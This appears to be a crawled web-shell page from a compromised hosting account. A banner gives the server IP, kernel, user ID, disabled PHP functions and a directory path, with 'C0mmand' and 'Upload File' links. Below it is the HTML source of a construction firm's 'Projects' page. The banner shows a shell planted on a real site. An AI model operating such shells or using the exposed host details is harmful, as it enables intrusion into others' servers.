|
Server IP : 145.79.210.100 / Your IP : 216.73.216.6 Web Server : LiteSpeed System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64 User : u474798400 ( 474798400) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u474798400/domains/excentia.in/public_html/admin/../old/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
<!----font awesome cdn-------->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css" integrity="sha512-SnH5WK+bZxgPHs44uWIX+LLJAJ9/2PkPKZ5QiAj6Ta86w+fsb2TkcmfRyVX3pBnMFcV7oQPJkl9QevSCWr3W6A==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<!-----Custom css-->
<link rel="stylesheet" href="./sass/style.css">
<!-----owl carousel css link-->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.1.3/assets/owl.carousel.min.css">
<link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet">
<title>Projects</title>
<style>
/*Directly lined with js*/
.myAnimation {
animation: anim 1s linear;
}
@keyframes anim {
0% {
opacity: 0;
}
100% {
opacity: 1;
}
}
.active_btn {
text-decoration: underline;
color: #b87c2f !important;
}
#menu2,#menu3{
display: none;
}
#nav-wrap{
opacity: 1;
animation: none;
}
#first{
display: block;
}
.logo #second{
display: none;
width: 36%;
}
</style>
</head>
<body>
<header>
<div class="nav_wrap" id="nav-wrap" data-aos="fade-down" data-aos-duration="3000">
<div class="logo">
<a href="index.html">
<img src="./images/logo.png" alt="" id="first">
<img src="./images/excentia-logo.png" alt="" id="second">
</a>
</div>
<div class="menuWithIcons">
<ul>
<li>
<div class="box"></div>
<a href="#">Overview</a>
</li>
<li>
<div class="box"></div>
<a href="#">Services</a>
</li>
<li>
<div class="box"></div>
<a href="#">Client</a>
</li>
<li>
<div class="box"></div>
<a href="#">Recognition</a>
</li>
<li>
<div class="box"></div>
<a href="#">Career</a>
</li>
</ul>
<div class="menu_icon">
<span class="one"></span>
<span class="two"></span>
<span class="three"></span>
</div>
</div>
</div>
<div class="menu-items-container">
<ul>
<li><a href="index.html" class="menu-1">Home</a></li>
<li><a href="about_us.html" class="menu-2">About Us</a></li>
<li><a href="projects.html" class="menu-3">Projects</a></li>
<li><a href="#" class="menu-4">Portfolio</a></li>
<li><a href="#" class="menu-5">Innovation</a></li>
<li><a href="contact.html" class="menu-6">Contact Us</a></li>
</ul>
</div>
</header>
<section class="second">
<h3 class="caption" data-aos="fade-down">What We Build<span class="underline"></span></h3>
<span data-aos="fade-up">The building </span>
<h1 data-aos="fade-up">bricks </h1>
<div class="parent">
<div class="left_part">
<h1 data-aos="fade-up"> of pride</h1>
<div class="logo_part" data-aos="fade-up">
<img src="images\logo_part.png" alt="">
</div>
</div>
<div class="right_part" data-aos="fade-up">
Building sustainable homes that harmonize with the environment. Every project is an embodiment of the most natural living
</div>
</div>
</section>
<section class="project-container">
<ul data-aos="fade-up" data-aos-duration="3000">
<li id='menu-1' onclick="showImages('menu1'),activateButton(1)" class="btn_active">Upcoming</li>
<li id='menu-2' onclick="showImages('menu2'),activateButton(2)" >Ongoing</li>
<li id='menu-3' onclick="showImages('menu3'),activateButton(3)">Delivered</li>
</ul>
<div id="menu1" class="img-container">
<div class="all-images">
<div class="img" data-aos="zoom-in">
<a href="project-inner.html">
<img src="./images/project_img/proj-1.jpg" alt="">
<span>Element Residences</span>
</a>
</div>
<div class="img" data-aos="zoom-in">
<a href="project-inner.html">
<img src="./images/project_img/proj-2.jpg" alt="" data-fancybox="gallery" data-caption="image">
<span>Infinity Greens</span>
</a>
</div>
<div class="img" data-aos="zoom-in">
<a href="project-inner.html">
<img src="./images/project_img/proj-3.jpg" alt="" data-fancybox="gallery" data-caption="image">
<span>Element Bazaar</span>
</a>
</div>
<div class="img" data-aos="zoom-in">
<a href="project-inner.html">
<img src="./images/project_img/proj-4.jpg" alt="" data-fancybox="gallery" data-caption="image">
<span>Capitol Avenue</span>
</a>
</div>
<div class="img" data-aos="zoom-in">
<a href="project-inner.html">
<img src="./images/project_img/proj-5.jpg" alt="" data-fancybox="gallery" data-caption="image">
<span>Capitol Walk</span>
</a>
</div>
</div>
</div>
<div id="menu2" class="img-container">
<div class="all-images">
<div class="img" data-aos="zoom-in">
<a href="project-inner.html">
<img src="./images/project_img/proj-3.jpg" alt="" data-fancybox="gallery" data-caption="image">
<span>Element Bazaar</span>
</a>
</div>
<div class="img" data-aos="zoom-in">
<a href="project-inner.html">
<img src="./images/project_img/proj-4.jpg" alt="" data-fancybox="gallery" data-caption="image">
<span>Capitol Avenue</span>
</a>
</div>
<div class="img" data-aos="zoom-in">
<a href="project-inner.html">
<img src="./images/project_img/proj-5.jpg" alt="" data-fancybox="gallery" data-caption="image">
<span>Capitol Walk</span>
</a>
</div>
</div>
</div>
<div id="menu3" class="img-container">
<div class="all-images">
<div class="img" data-aos="zoom-in">
<a href="project-inner.html">
<img src="./images/project_img/proj-1.jpg" alt="" data-fancybox="gallery" data-caption="image">
<span>Element Residences</span>
</a>
</div>
<div class="img" data-aos="zoom-in">
<a href="project-inner.html">
<img src="./images/project_img/proj-2.jpg" alt="" data-fancybox="gallery" data-caption="image">
<span>Infinity Greens</span>
</a>
</div>
</div>
</div>
</section>
<footer>
<div class="left-footer">
<div class="menus">
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Projects</a></li>
<li><a href="#">Media</a></li>
<li><a href="#">Work With US</a></li>
<li><a href="#">Contact</a></li>
</ul>
</div>
<div class="copyright">
Copyright © 2024 Itinfo Technologies Pvt. Ltd. All rights reserved.
</div>
</div>
<div class="middle-footer">
<div class="logo">
<img src="./images/footer_logo.png" alt="">
</div>
<div class="social_icons">
<ul>
<li><a href="#"><i class="fa-brands fa-facebook-f"></i></a></li>
<li><a href="#"><i class="fa-brands fa-twitter"></i></a></li>
<li><a href="#"><i class="fa-brands fa-linkedin-in"></i></a></li>
<li><a href="#"><i class="fa-brands fa-instagram"></i></a></li>
<li><a href="#"><i class="fa-brands fa-youtube"></i></a></li>
</ul>
</div>
</div>
<div class="right-footer">
<div class="phone_number"><b>Phone Number-</b> 011-22517733, 011-22527733</div>
<div class="address"><b>Address-</b> A-12, Swasthya Vihar, Vikas Marg, Delhi-110092</div>
<div class="email"><b>Email-</b> info@excentia.in</div>
</div>
</footer>
<!-------custom js-->
<script src="./js/commonMenu.js"></script>
<!-----bootstrap5 script link----->
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js" integrity="sha384-IQsoLXl5PILFhosVNubq5LC7Qb9DXgDA9i+tQ8Zj3iwWAwPtgFTxbJ8NT4GN1R8p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.min.js" integrity="sha384-cVKIPhGWiC2Al4u+LWgxfKTRIcfu0JTxR+EQDz/bgldoEyl4H0zUF0QKbrJ0EcQF" crossorigin="anonymous"></script>
<script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
<script>
var menu_1=document.querySelector("#menu1");
var menu_2=document.querySelector("#menu2");
var menu_3=document.querySelector("#menu3");
// var menu_4=document.querySelector("#menu4");
window.onload=function(){
menu_2.style.display="none";
menu_3.style.display="none";
// menu_4.style.display="none";
}
function showImages(menuId) {
// Hide all image containers
var containers = document.querySelectorAll('.img-container');
containers.forEach(function(container) {
container.style.display = 'none';
});
// Show the selected image container
var selectedContainer = document.getElementById(menuId);
if (selectedContainer) {
selectedContainer.style.display = 'block';
selectedContainer.classList.add("myAnimation");
}
}
/*____to active particular button____*/ /* SURAJIT Bera's code*/
var menu=document.querySelectorAll(".project-container ul li");
menu[0].classList.add("active_btn");
function activateButton(btnNum) {
for(var i=0; i<menu.length; i++){
if((i+1)==btnNum){
menu[i].classList.add("active_btn");
}else{
menu[i].classList.remove("active_btn");
}
}
}
</script>
<script>
AOS.init({
duration:1500
});
</script>
<script>
window.onscroll = function() {myFunction()};
logo_1= document.querySelector("#first");
logo_2=document.querySelector("#second")
function myFunction() {
if (document.documentElement.scrollTop > 50) {
logo_1.style.display="none";
logo_2.style.display="block";
document.querySelector(".nav_wrap").style.backgroundColor="rgba(255,255,255,1)"
} else {
logo_1.style.display="block";
logo_2.style.display="none";
document.querySelector(".nav_wrap").style.backgroundColor="transparent"
}
}
</script>
</body>
</html>